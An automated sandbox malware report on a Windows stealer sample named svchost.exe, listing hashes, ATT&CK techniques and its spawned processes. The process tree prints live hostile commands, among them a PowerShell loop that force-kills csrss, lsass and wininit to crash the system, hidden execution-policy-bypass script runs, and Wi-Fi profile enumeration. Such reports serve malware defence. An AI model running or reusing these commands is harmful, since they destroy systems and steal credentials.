5972e197fece104b82363f2d52a2945c690644e6eca8efa8eaad61156efd3d8a

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/07/2026, 14:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
svchost.exe
Size 33KB
Sample260705-rx93vsgw6m
SHA256 5972e197fece104b82363f2d52a2945c690644e6eca8efa8eaad61156efd3d8a
MD5 ab359a81fda2f062c07840a36feb78f1
SHA1 1848bec5ff3639820c5723bc08da88b7e4dac404
SHA512 c8374bcefcf8ada58ad573c0c470a4d864a3f5973143ee3dd90daba9c568e96e6b97fe06e1dee1f54a99d9ffce89009ed85baf675d60412fc3c86579fd91bd0b
SSDEEP 768:xcNbO/jLUoKQdhXew9fDQiN/+xGx8BmwVw:pTHd9ew9bQiN2Ex8owVw
TLSH
T1F9F2C6443BF88640F1FF5E79ADB346204B75B88B9D35D70D0AE5958D0AB2B448C94FA3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5152	powershell.exe
6052	powershell.exe
1676	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\D:	powershell.exe
File opened (read-only)	\??\I:	powershell.exe
File opened (read-only)	\??\R:	powershell.exe
File opened (read-only)	\??\W:	powershell.exe
File opened (read-only)	\??\K:	powershell.exe
File opened (read-only)	\??\S:	powershell.exe
File opened (read-only)	\??\V:	powershell.exe
File opened (read-only)	\??\Z:	powershell.exe
File opened (read-only)	\??\G:	powershell.exe
File opened (read-only)	\??\H:	powershell.exe
File opened (read-only)	\??\M:	powershell.exe
File opened (read-only)	\??\T:	powershell.exe
File opened (read-only)	\??\Y:	powershell.exe
File opened (read-only)	\??\Q:	powershell.exe
File opened (read-only)	\??\U:	powershell.exe
File opened (read-only)	\??\J:	powershell.exe
File opened (read-only)	\??\N:	powershell.exe
File opened (read-only)	\??\Q:	powershell.exe
File opened (read-only)	\??\U:	powershell.exe
File opened (read-only)	\??\J:	powershell.exe
File opened (read-only)	\??\M:	powershell.exe
File opened (read-only)	\??\P:	powershell.exe
File opened (read-only)	\??\Z:	powershell.exe
File opened (read-only)	\??\N:	powershell.exe
File opened (read-only)	\??\R:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\H:	powershell.exe
File opened (read-only)	\??\I:	powershell.exe
File opened (read-only)	\??\L:	powershell.exe
File opened (read-only)	\??\T:	powershell.exe
File opened (read-only)	\??\X:	powershell.exe
File opened (read-only)	\??\Y:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\L:	powershell.exe
File opened (read-only)	\??\P:	powershell.exe
File opened (read-only)	\??\V:	powershell.exe
File opened (read-only)	\??\O:	powershell.exe
File opened (read-only)	\??\X:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\D:	powershell.exe
File opened (read-only)	\??\G:	powershell.exe
File opened (read-only)	\??\K:	powershell.exe
File opened (read-only)	\??\O:	powershell.exe
File opened (read-only)	\??\S:	powershell.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
6216	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
948	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
6444	netsh.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2900715619-172032027-1873877232-1000\{150B983F-67D9-4A73-BC8D-B25BA4DE95EC}	powershell.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2900715619-172032027-1873877232-1000\{9CBD8838-35D0-42BF-AB9A-7146D213820B}	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
5952	powershell.exe
5952	powershell.exe
5952	powershell.exe
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe
7108	powershell.exe
7108	powershell.exe
2212	powershell.exe
2212	powershell.exe
2312	powershell.exe
2312	powershell.exe
4164	powershell.exe
7108	powershell.exe
4164	powershell.exe
2212	powershell.exe
4968	powershell.exe
4968	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
4164	powershell.exe
936	powershell.exe
936	powershell.exe
2312	powershell.exe
4968	powershell.exe
6448	powershell.exe
6448	powershell.exe
2648	powershell.exe
2648	powershell.exe
6448	powershell.exe
936	powershell.exe
2648	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe
948	powershell.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

description	pid	Process
Token: SeDebugPrivilege	1008	svchost.exe
Token: SeDebugPrivilege	948	powershell.exe
Token: SeDebugPrivilege	5952	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	7108	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeDebugPrivilege	6448	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	5152	powershell.exe
Token: SeShutdownPrivilege	5152	powershell.exe
Token: SeCreatePagefilePrivilege	5152	powershell.exe
Token: SeDebugPrivilege	6052	powershell.exe
Token: SeDebugPrivilege	6216	tasklist.exe
Token: SeDebugPrivilege	6716	powershell.exe
Token: SeDebugPrivilege	6076	powershell.exe
Token: SeDebugPrivilege	5164	powershell.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	6392	powershell.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeDebugPrivilege	6996	powershell.exe
Token: SeDebugPrivilege	5628	powershell.exe
Token: SeDebugPrivilege	3972	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeShutdownPrivilege	1676	powershell.exe
Token: SeCreatePagefilePrivilege	1676	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 948	1008	svchost.exe	90
PID 1008 wrote to memory of 5952	1008	svchost.exe	92
PID 1008 wrote to memory of 2028	1008	svchost.exe	94
PID 1008 wrote to memory of 7108	1008	svchost.exe	96
PID 1008 wrote to memory of 2212	1008	svchost.exe	98
PID 1008 wrote to memory of 2312	1008	svchost.exe	100
PID 1008 wrote to memory of 4164	1008	svchost.exe	102
PID 1008 wrote to memory of 4968	1008	svchost.exe	104
PID 1008 wrote to memory of 936	1008	svchost.exe	106
PID 1008 wrote to memory of 6448	1008	svchost.exe	108
PID 1008 wrote to memory of 2648	1008	svchost.exe	110
PID 1008 wrote to memory of 5152	1008	svchost.exe	112
PID 1008 wrote to memory of 6052	1008	svchost.exe	114
PID 1008 wrote to memory of 6444	1008	svchost.exe	116
PID 1008 wrote to memory of 6216	1008	svchost.exe	118
PID 1008 wrote to memory of 1432	1008	svchost.exe	121
PID 1008 wrote to memory of 6368	1008	svchost.exe	122
PID 1008 wrote to memory of 6716	1008	svchost.exe	124
PID 1008 wrote to memory of 6076	1008	svchost.exe	126
PID 1008 wrote to memory of 5164	1008	svchost.exe	128
PID 1008 wrote to memory of 1012	1008	svchost.exe	130
PID 1008 wrote to memory of 6392	1008	svchost.exe	132
PID 1008 wrote to memory of 1528	1008	svchost.exe	134
PID 1008 wrote to memory of 6996	1008	svchost.exe	136
PID 1008 wrote to memory of 5628	1008	svchost.exe	138
PID 1008 wrote to memory of 3972	1008	svchost.exe	140
PID 1008 wrote to memory of 4064	1008	svchost.exe	142
PID 1008 wrote to memory of 1676	1008	svchost.exe	144

C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "while($true){if(-not(Get-Process -Id 1008 -ErrorAction SilentlyContinue)){taskkill /f /im csrss.exe;taskkill /f /im lsass.exe;taskkill /f /im wininit.exe;break}Start-Sleep 1}"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:7108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\tmpBCF2.tmp.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:5152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\tmpC3D9.tmp.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:6052
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:6444
- C:\Windows\SYSTEM32\tasklist.exe
  "tasklist.exe" /v
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:6216
- C:\Windows\SYSTEM32\wscript.exe
  "wscript.exe" "C:\Users\Admin\AppData\Local\Temp\watch_agent.vbs"
  2⤵
  PID:1432
- C:\Windows\SYSTEM32\wscript.exe
  "wscript.exe" "C:\Users\Admin\AppData\Local\Temp\watch_agent.vbs"
  2⤵
  PID:6368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -c (New-Object -ComObject WScript.Shell).SendKeys([char]175)
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\tmp1FD5.tmp.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:1676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WMSDKNS.XML.bak

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download